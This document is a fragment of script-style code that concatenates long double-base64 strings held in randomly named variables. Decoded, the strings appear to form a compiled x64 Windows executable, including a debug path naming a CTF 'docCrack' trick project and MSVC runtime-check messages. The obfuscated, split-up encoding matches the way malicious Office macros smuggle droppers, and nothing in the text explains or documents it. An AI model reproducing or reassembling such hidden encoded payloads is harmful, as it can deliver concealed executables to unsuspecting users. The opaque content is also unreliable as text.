"a2FwbzNSUG4xbmhGUEd0VUFzQkFBQUFSVHBjVDNSb1pYSnpYRU5VUmx4U1pWeFBkR2hsY25OY1pHOWpRM0poWTJ0Y2MzSmpYSFJ5YVdOclhIZzJORnhFWldKMVoxeDBjbWxqYXk1d1pHSUFBQUFBQUFBa0FBQUFKQUFBQUFFQUFBQWpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" + oBluSsHkDCzAto = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ2dBUUFrQUFBQUVLRkFwRkNseUtzSXJFaXNXS3pJckFpdEVLMFlyU0N0S0swd3JRQ3dBUUFvQUFBQUdLUWdwQ2lrTUtRNHBDQ2xLS1c0cDlDbjJLZDRxSUNvaUtpUXFKaW9BQUFBd0FFQURBQUFBTENnNEtNQU1BSUFGQUFBQUFDZ0VLQWdvRENnUUtCZ29BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" + reeSpEYsBkdNAwSDqsiDTLBBHdHuaMOZuoTHJEzyHFkIp = "ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16" + OqJcLRxQpnYs = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" + dDrAROqgDwONUkPBEbrtUpacneyMSHVCckaqZmBk = "RDdmVFRJbDBKQ0JJaXdGSWkwQkEveFhhM0FBQWhjQVBoSzBCQUFCSWkwM0hTSTFWdDBpTEFVaUxnTkFBQUFEL0ZicmNBQUNFd0ErRWVRRUFBRWlMVGJkSWhja1BoR3dCQUFCSWl3RklpMEFRL3hXWTNBQUFoY0FQaERNQkFBQklpMDIzU0kxVlgweUpkQ1F3VEkxTlYwaUpWQ1FvVEkxRmIwaU5WYjlJaXdGSWlWUWtJRFBTU0l0QUdQOFZYdHdBQUlUQUQ0UU5BUUFBRDdkRlZ6dkRkUTZMVFc4N3ozY0hBMDIvTy9seUdraUxUYmRJaXdGSWkwQVEveFV2M0FBQWhjQjFtK25KQUFBQWkwVmZoY0FQaE5JQUFBQ0wyUDhWVTd3QUFFeU5CTjBBQUFBQU05SklpOGovRlZDOEFBQklpL0JJaGNBUGhLc0FBQUJJaTAyM1JUUEpTSWwwSkRCRk04QklpeEZJaTBJWVNJMVZYMGlKVkNRb1NJMVZ3MHlKZENRZy94WEcyd0FBaE1CMFpTdDlienMrY2w2TFZWKzdBUUFBQUl2TE85TjJEWXZCT3p6R2NnYi93VHZLY3ZPTFZjT05RZitMUk1ZRVRJMU5aMGlMVGNjbC8vLy9BRUdKQkNSTmk4Vk1pWFFrTUV5SmRDUW9TSXNCVElsMEpDQklpNERnQUFBQS94Vmoyd0FBaE1CRUQwWHoveFdYdXdBQVRJdkdNOUpJaThqL0ZaRzdBQUJJaTAyM1NJc0JTSXNBL3hVNTJ3QUFTSXROeDBpTEFVaUxnSUFBQUFEL0ZTWGJBQUJJaTAzWFNJc1JTSXRDY1A4VkZOc0FBRWlMVGM5SWl4RklpMEpZL3hVRDJ3QUFRWXZHNndJendFaUJ4TEFBQUFC" + LyzbXnuteIvewfsTHJjlzQReyFxqXpcXpGhxmgHTXkuTdCSgxC = "TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpN" + MCoojZsVTSQqYyKcalviqCyoDLlFCBhKufeKnCekvEasIuvaFioqLecZdrmWUnnRrLtU = "TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpN" + vJefuibNYpIBJouGCweDJOwOvK = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBWDBGeVoweHBjM1FBQUFBQUFBQUFBRWdBQUFBSUFBQUFzS3NCUUFFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBTUNyQVVBQkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCc0FBQUFhV3dBQUFBQUFBQUFBQUFBTUFFQUFOZ0FBQUEwckFGQUFRQUFBREFBQUFEWUFB" + XKfg = "aVVRa01FaUxSQ1FnU0lsRUpEaElqUVcxbkFBQVNJMU1KQ2hJaS9oSWkvRzVHQUFBQVBPa1NJdEVKQ0JJaVVRa1FFaUxSQ1FnU0lsRUpFaElpMFFrSUVpSlJDUlFTSTBGbHB3QUFFaU5UQ1JBU0l2NFNJdnh1UmdBQUFEenBNWUZYcHdBQUFHd0FVaUR4R2hmWHNQTXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek1TSWxNSkFoSWcreFlTSXRFSkdCSWlVUWtPRWlOQmJiRC92OUlpVVFrS0VpTFRDUW82RGY3Ly84UHRzQ0Z3SFVFTXNEclVraUxSQ1FvU0l0TUpEaElLOGhJaThGSWlVUWtRRWlMVkNSQVNJdE1KQ2pvQ1ByLy8waUpSQ1F3U0lOOEpEQUFkUVF5d09zZFNJdEVKRENMUUNRbEFBQUFnSVhBZEFReXdPc0lzQUhyQkRMQTZ3QklnOFJZdzh6TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek15SVRDUUlTSVBzS09oTzFQLy9oY0IxQXVzWEQ3WkVKRENGd0hRQzZ3d3p3RWlORFNtYkFBQklod0ZJZzhRb3c4ek16TXpNek16TXpNek16TXpNek16TWlGUWtFSWhNSkFoSWcrd29EN1lGQlpzQUFJWEFkQTBQdGtRa09JWEFkQVN3QWVzV0Q3Wk1KRERvOXRULy93KzJUQ1F3NkZ6VC8vK3dBVWlEeENqRHpNek16TXpNek16TXpNek16TXpNek14" + cSdyVPVfGzkDXafOVvTFIWCFkfroRguXbaooHEMLvryMLhSqHl = "ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNU0lsTUpBaElpVlFrRUV5SlJDUVlUSWxNSkNCVlYwaUI3RWdCQUFCSWpXd2tJRWlOZkNRZ3VSb0FBQUM0ek16TXpQT3JTSXVNSkdnQkFBQklpd1Yyc3dBQVNEUEZTSW1GR0FFQUFFaU5EV1FEQVFEb3VmYi8vMGlOaFVnQkFBQklpVVVvdVFFQUFBRC9GVkwyQUFCTWkwMG9SVFBBU0l1VlFBRUFBRWlMeU9pRjlQLy9pVVVFU01kRktBQUFBQUNMUlFTTCtFaU5UZUJJalJVUmp3QUE2QW4yLy8rTHgwaUxqUmdCQUFCSU04M29wUFQvLzBpTnBTZ0JBQUJmWGNQTXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek1TSVBzQ0V5THlVaUZ5WFFxU0lYU2RDVk5oY0IwSUVpSlBDU3d6RWlMK1VpTHl2T3FTWXNBU0lzOEpFbUpRUVJKaVZFTVRZa0lTSVBFQ01QTXpNek16TXpNek16TXpNek16TXpNek16TXpNeElpVndrRUVpSmJDUVlWa2lEN0NBejIwaUw4a2lMNlRrYWZsWklpWHdrTUl2N0R4OUFBR1ptRHgrRUFBQUFBQUJJaTFZSVNHTU1Pb0Y4S2Z6" + pmyRvIoaiAdTnm = "TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpDQUFETXpNek16TXpNek16TXpNek1RRlZYU0lIczZBQUFBRWlOYkNRZ1NJME5Ud2dCQU9pbSsvLy9TSTBGcnJrQUFFaU5wY2dBQUFCZlhjUE16TXpNek16TXpNek16TXpNek16TXpN" + LUAoboTgsNfGwzgqMmwAGNgNPEHQiyGMldsAGKiidxDSFGAXcwjrYrbnpzEIlOcnGHPSv = "TmpDU0FCd0FBaGNDSmJDUW9TSTBGZm9RQUFFaUwwMGlKUkNRZ1RBOUV6MG1MeGtTTFJDUkFRWXZNL3hWUkFnRUFnL2dCZFFITVNJdTBKS2dPQUFCSWk0d2trQTRBQUVnenpPaTg0Ly8vU0lIRXNBNEFBRUZmUVY1QlhVRmNYMTFidzh6TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXhJZyt3b1RJdkpNOUpFalVJRnVZZ1RiVUQvRlZqaEFBRHJBRWlEeENqRHpNek16TXpNek16TXpNek16TXpNek14SWlWd2tFRmRJZ2V3d0JBQUFTSXNGSktFQUFFZ3p4RWlKaENRZ0JBQUFpejB2b1FBQVNJdlpnLy8vZEhkSWhjbDBWdWg1L1AvL1NJUEFPa2c5QUFRQUFIZEZUSTBGYm40QUFMb0FCQUFBU0kxTUpDRG82dUgvLzB5THcwaU5UQ1FndWdBRUFBRG8yZUQvLzB5TkJWWitBQUM2QUFRQUFFaU5UQ1FnNk1QZy8vOU1qVXdrSU9zSFRJME5lWVFBQUVpTGpDUTRCQUFBUWJnREFBQUFpOWZvTFB6Ly8waUxqQ1FnQkFBQVNEUE02Q1hpLy85SWk1d2tTQVFBQUVpQnhEQUVBQUJmdzh6TXpN" + dPHPpts = "TW9CQU1CQUFRRFZRQUVBZU1vQkFDQkJBUUJsUVFFQWdNb0JBSUJCQVFDbFFRRUFpTW9CQVBCQkFRQ0NRd0VBdU1vQkFQQkRBUUJCUkFFQWtNb0JBR0JFQVFCdVJBRUFxTW9CQUpCRUFRQTJSUUVBb01vQkFHQkZBUUIyUlFFQXNNb0JBSkJGQVFBcVJnRUF5TW9CQUZCR0FRQ1NSZ0VBME1vQkFMQkdBUUR5UmdFQTRNb0JBQ0JIQVFBK1J3RUE4TW9CQUZCSEFRQm9Sd0VBK01vQkFIQkhBUUNOUndFQUdNc0JBS0JIQVFERFJ3RUFJTXNCQU9CSEFRQUdTQUVBS01zQkFCQklBUUE0U0FFQUVNc0JBRkJJQVFDN1NBRUFDTXNCQU9CSUFRQWZTUUVBT01zQkFEQkpBUUIxU1FFQVFNc0JBTEJKQVFENFNRRUFTTXNCQUJCS0FRQjVTZ0VBTU1zQkFLQktBUURYU2dFQUFNc0JBQUJMQVFCY1RBRUFzTXNCQU1CTUFRQnVUd0VBYk1zQkFDQlFBUUFqVVFFQWxNc0JBSEJSQVFBMlZRRUFVTXNCQURCV0FRRFZXUUVBeE1zQkFNQmFBUURsV2dFQTJNc0JBS0J3QVFDaWNBRUE0TXNCQU1Cd0FRREdjQUVBNk1zQkFOQ0FBUUFBZ1FFQUFNZ0JBQkNCQVFBd2dRRUE0TWdCQUVDQkFRQjlnUUVBNE1rQkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" + nakYwagVroMrOEfsteXllfcoBvAuNAdrwdDlgazyqsgPKtEegoCIwCUjGupYfo = "TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" + obbOsgvhpNXIcdbYdkGYIaNBBcElKifCqpgxJTckSeauwtfbPgNfLQBUR = "TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpN" + GuQxrSYxJGddVXCHQpGAWAkiZgqPUKwPHBncITqQUblgcwlHmQqactoHwqrduW = "ek16TVRJbEVKQmlKVkNRUWlVd2tDRWlEN0RpNUZ3QUFBUDhWQk4wQUFJWEFkQWlMUkNSQWk4ak5LVWlORFlHZUFBRG9MQUVBQUVpTFJDUTRTSWtGYUo4QUFFaU5SQ1E0U0lQQUNFaUpCZmllQUFCSWl3VlJud0FBU0lrRndwMEFBTWNGcUowQUFBa0VBTURIQmFLZEFBQUJBQUFBZzN3a1NBQjJFRWlEZkNSUUFIVUl4MFFrU0FBQUFBQ0RmQ1JJRG5ZS2kwUWtTUC9JaVVRa1NJdEVKRWovd0lrRmdwMEFBTGdJQUFBQVNHdkFBRWlORFhxZEFBQ0xWQ1JBU0lrVUFjZEVKQ0FBQUFBQTZ3cUxSQ1FnLzhDSlJDUWdpMFFrU0RsRUpDQnpJb3RFSkNDTFRDUWcvOEdMeVVpTkZVR2RBQUJNaTBRa1VFbUxCTUJJaVFUSzY4cElqUTJMZ0FBQTZGRGQvLzlJZzhRNHc4ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpFaUpUQ1FJU0lQc2VFaUxqQ1NBQUFBQS94VWgyd0FBU0l1RUpJQUFBQUJJaTRENEFBQUFTSWxFSkVoRk04QklqVlFrVUVpTFRDUkkveFVDMndBQVNJbEVKRUJJZzN3a1FBQjBRVWpIUkNRNEFBQUFBRWlOUkNSWVNJbEVKREJJalVRa1lFaUpSQ1FvU0l1RUpJQUFBQUJJaVVRa0lFeUxUQ1JBVEl0RUpFaElpMVFrVURQSi94VzgyZ0FBU0lQRWVNUE16TXpNek16" + ckZbelCalPLDXKtBcWmESQNZktlvc = "QUJBQUFBNndqSFJDUVFBQUFBQUErMlJDUVFpRVFrQ0xnQkFBQUFNOGtQb2t5TlJDUWdRWWtBUVlsWUJFR0pTQWhCaVZBTXVBUUFBQUJJYThBQWkwUUVJSWxFSkFRUHRnUWtoY0FQaElVQUFBQkl4d1crZUFBQUFJQUFBRWpIQmJ0NEFBRC8vLy8vaTBRa0JDWHdQLzhQUGNBR0FRQjBVSXRFSkFRbDhELy9EejFnQmdJQWRFQ0xSQ1FFSmZBLy93ODljQVlDQUhRd2kwUWtCQ1h3UC84UFBWQUdBd0IwSUl0RUpBUWw4RC8vRHoxZ0JnTUFkQkNMUkNRRUpmQS8vdzg5Y0FZREFIVVBpd1hCZ0FBQWc4Z0JpUVc0Z0FBQXVBUUFBQUJJYThBRHVRUUFBQUJJYThrQWkwUUVJSWxFRERDNEJBQUFBRWhyd0FLNUJBQUFBRWhyeVFHTFJBUWdpVVFNTUlOOEpCUUhmRnk0QndBQUFEUEpENkpNalVRa0lFR0pBRUdKV0FSQmlVZ0lRWWxRRExnRUFBQUFTR3ZBQWJrRUFBQUFTR3ZKQW90RUJDQ0pSQXd3dUFRQUFBQklhOEFCaTBRRUlDVUFBZ0FBaGNCMEQ0c0ZLb0FBQUlQSUFva0ZJWUFBQU1jRm0zY0FBQUVBQUFESEJaVjNBQUFDQUFBQXVBUUFBQUJJYThBQmkwUUVNQ1VBQUJBQWhjQVBoUDhBQUFESEJXMTNBQUFDQUFBQWl3VnJkd0FBZzhnRWlRVmlkd0FBdUFRQUFBQklhOEFCaTBRRU1DVUFBQUFJaGNBUGhNd0FBQUM0QkFBQUFFaHJ3QUdMUkFRd0pRQUFBQkNGd0ErRXNnQUFBRFBKRHdIUVNNSGlJRWdMMEVpTHdraUpS" + jlpDVEFMxbmONUlkfhGVHkOoOeMLXzAiLonunWnRvNQVlCIwuxiKrkHC = "bElDTWxaQ0F0SUNWekFBQUFBQUFBQUFBQVUzUmhZMnNnWTI5eWNuVndkR1ZrSUc1bFlYSWdkVzVyYm05M2JpQjJZWEpwWVdKc1pRQUFBQUFBQUFBQUFBQUFKUzR5V0NBQUFBQlRkR0ZqYXlCaGNtVmhJR0Z5YjNWdVpDQmZZV3hzYjJOaElHMWxiVzl5ZVNCeVpYTmxjblpsWkNCaWVTQjBhR2x6SUdaMWJtTjBhVzl1SUdseklHTnZjbkoxY0hSbFpBb0FBQUFBQUFBQUFBQUFBQUFBQUFBQUNnQUFBRDRnQUFBS1JHRjBZVG9nUEFBQUFBQUFBQUFBQ2tGc2JHOWpZWFJwYjI0Z2JuVnRZbVZ5SUhkcGRHaHBiaUIwYUdseklHWjFibU4wYVc5dU9pQUFBQUFBQUFBQUFBQUFBQUFBQUFBS1UybDZaVG9nQUFBQUFBQUFBQUFBQ2tGa1pISmxjM002SURCNEFBQUFBQUFBQUFBQUFBQUFVM1JoWTJzZ1lYSmxZU0JoY205MWJtUWdYMkZzYkc5allTQnRaVzF2Y25rZ2NtVnpaWEoyWldRZ1